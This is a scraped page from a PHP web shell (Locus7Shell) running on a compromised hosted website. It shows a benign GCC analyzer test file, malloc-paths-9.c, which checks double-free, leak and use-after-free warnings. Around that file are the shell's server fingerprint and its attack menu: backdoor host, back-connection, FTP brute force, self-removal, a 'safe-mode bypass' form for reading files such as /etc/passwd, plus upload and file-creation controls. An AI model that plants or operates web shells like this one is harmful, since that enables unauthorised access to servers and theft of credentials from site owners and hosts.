Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/analyzer/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     malloc-paths-9.c (7.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* { dg-additional-options "-fdiagnostics-show-line-numbers -fdiagnostics-path-format=inline-events -fdiagnostics-show-caret" } */
/* { dg-enable-nn-line-numbers "" } */

#include <stdlib.h>

void test_1 (void)
{
  void *ptr = malloc (1024);
  free (ptr);
  free (ptr); /* { dg-warning "double-'free' of 'ptr'"  } */
}
/* { dg-begin-multiline-output "" }
   NN |   free (ptr);
      |   ^~~~~~~~~~
  'test_1': events 1-3
    |
    |   NN |   void *ptr = malloc (1024);
    |      |               ^~~~~~~~~~~~~
    |      |               |
    |      |               (1) allocated here
    |   NN |   free (ptr);
    |      |   ~~~~~~~~~~   
    |      |   |
    |      |   (2) first 'free' here
    |   NN |   free (ptr);
    |      |   ~~~~~~~~~~   
    |      |   |
    |      |   (3) second 'free' here; first 'free' was at (2)
    |
   { dg-end-multiline-output "" } */

void test_2 (int x, int y)
{
  void *ptr = malloc (1024);
  if (x)
    free (ptr);
  if (y)
    free (ptr); /* { dg-warning "double-'free' of 'ptr'"  } */
} /* { dg-warning "leak of 'ptr'"  } */

/* "double-'free' of 'ptr'".  */
/* { dg-begin-multiline-output "" }
   NN |     free (ptr);
      |     ^~~~~~~~~~
  'test_2': events 1-7
    |
    |   NN |   void *ptr = malloc (1024);
    |      |               ^~~~~~~~~~~~~
    |      |               |
    |      |               (1) allocated here
    |   NN |   if (x)
    |      |      ~         
    |      |      |
    |      |      (2) following 'true' branch (when 'x != 0')...
    |   NN |     free (ptr);
    |      |     ~~~~~~~~~~ 
    |      |     |
    |      |     (3) ...to here
    |      |     (4) first 'free' here
    |   NN |   if (y)
    |      |      ~         
    |      |      |
    |      |      (5) following 'true' branch (when 'y != 0')...
    |   NN |     free (ptr);
    |      |     ~~~~~~~~~~ 
    |      |     |
    |      |     (6) ...to here
    |      |     (7) second 'free' here; first 'free' was at (4)
    |
   { dg-end-multiline-output "" } */

/* "leak of 'ptr'.  */
/* { dg-begin-multiline-output "" }
   NN | }
      | ^
  'test_2': events 1-6
    |
    |   NN |   void *ptr = malloc (1024);
    |      |               ^~~~~~~~~~~~~
    |      |               |
    |      |               (1) allocated here
    |   NN |   if (x)
    |      |      ~         
    |      |      |
    |      |      (2) following 'false' branch (when 'x == 0')...
    |   NN |     free (ptr);
    |   NN |   if (y)
    |      |      ~         
    |      |      |
    |      |      (3) ...to here
    |      |      (4) following 'false' branch (when 'y == 0')...
    |   NN |     free (ptr);
    |   NN | }
    |      | ~              
    |      | |
    |      | (5) ...to here
    |      | (6) 'ptr' leaks here; was allocated at (1)
    |
   { dg-end-multiline-output "" } */

int test_3 (int x, int y)
{
  int *ptr = (int *)malloc (sizeof (int));
  *ptr = 42; /* { dg-warning "dereference of possibly-NULL 'ptr'" } */
  if (x)
    free (ptr);

  *ptr = 19; /* { dg-warning "use after 'free' of 'ptr'" } */
  // TODO: two warnings here:  one is from sm-malloc, the other from region model

  if (y)
    free (ptr); /* No double-'free' warning: we've already attempted
           to dereference it above.  */
  return *ptr; /* { dg-warning "use after 'free' of 'ptr'" "use-after-free" } */
  /* { dg-warning "leak of 'ptr'" "leak" { target *-*-* } .-1 } */
}

/* "dereference of possibly-NULL 'ptr'".  */
/* { dg-begin-multiline-output "" }
   NN |   *ptr = 42;
      |   ~~~~~^~~~
  'test_3': events 1-2
    |
    |   NN |   int *ptr = (int *)malloc (sizeof (int));
    |      |                     ^~~~~~~~~~~~~~~~~~~~~
    |      |                     |
    |      |                     (1) this call could return NULL
    |   NN |   *ptr = 42;
    |      |   ~~~~~~~~~          
    |      |        |
    |      |        (2) 'ptr' could be NULL: unchecked value from (1)
    |
   { dg-end-multiline-output "" } */

/* "use after 'free' of 'ptr'".  */
/* { dg-begin-multiline-output "" }
   NN |   *ptr = 19;
      |   ~~~~~^~~~
  'test_3': events 1-6
    |
    |   NN |   int *ptr = (int *)malloc (sizeof (int));
    |      |                     ^~~~~~~~~~~~~~~~~~~~~
    |      |                     |
    |      |                     (1) allocated here
    |   NN |   *ptr = 42;
    |      |   ~~~~~~~~~          
    |      |        |
    |      |        (2) assuming 'ptr' is non-NULL
    |   NN |   if (x)
    |      |      ~               
    |      |      |
    |      |      (3) following 'true' branch (when 'x != 0')...
    |   NN |     free (ptr);
    |      |     ~~~~~~~~~~       
    |      |     |
    |      |     (4) ...to here
    |      |     (5) freed here
    |   NN | 
    |   NN |   *ptr = 19;
    |      |   ~~~~~~~~~          
    |      |        |
    |      |        (6) use after 'free' of 'ptr'; freed at (5)
    |
   { dg-end-multiline-output "" } */

/* "use after 'free' of 'ptr'".  */
/* { dg-begin-multiline-output "" }
   NN |   return *ptr;
      |          ^~~~
  'test_3': events 1-8
    |
    |   NN |   int *ptr = (int *)malloc (sizeof (int));
    |      |                     ^~~~~~~~~~~~~~~~~~~~~
    |      |                     |
    |      |                     (1) allocated here
    |   NN |   *ptr = 42;
    |      |   ~~~~~~~~~          
    |      |        |
    |      |        (2) assuming 'ptr' is non-NULL
    |   NN |   if (x)
    |      |      ~               
    |      |      |
    |      |      (3) following 'false' branch (when 'x == 0')...
    |......
    |   NN |   *ptr = 19;
    |      |   ~~~~~~~~~          
    |      |        |
    |      |        (4) ...to here
    |......
    |   NN |   if (y)
    |      |      ~               
    |      |      |
    |      |      (5) following 'true' branch (when 'y != 0')...
    |   NN |     free (ptr);
    |      |     ~~~~~~~~~~       
    |      |     |
    |      |     (6) ...to here
    |      |     (7) freed here
    |   NN |      
    |   NN |   return *ptr;
    |      |          ~~~~        
    |      |          |
    |      |          (8) use after 'free' of 'ptr'; freed at (7)
    |
   { dg-end-multiline-output "" } */

/* "leak of 'ptr'".  */
/* { dg-begin-multiline-output "" }
   NN |   return *ptr;
      |          ^~~~
  'test_3': events 1-7
    |
    |   NN |   int *ptr = (int *)malloc (sizeof (int));
    |      |                     ^~~~~~~~~~~~~~~~~~~~~
    |      |                     |
    |      |                     (1) allocated here
    |   NN |   *ptr = 42;
    |      |   ~~~~~~~~~          
    |      |        |
    |      |        (2) assuming 'ptr' is non-NULL
    |   NN |   if (x)
    |      |      ~               
    |      |      |
    |      |      (3) following 'false' branch (when 'x == 0')...
    |......
    |   NN |   *ptr = 19;
    |      |   ~~~~~~~~~          
    |      |        |
    |      |        (4) ...to here
    |......
    |   NN |   if (y)
    |      |      ~               
    |      |      |
    |      |      (5) following 'false' branch (when 'y == 0')...
    |......
    |   NN |   return *ptr;
    |      |          ~~~~        
    |      |          |
    |      |          (6) ...to here
    |      |          (7) 'ptr' leaks here; was allocated at (1)
    |
   { dg-end-multiline-output "" } */

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0057 ]--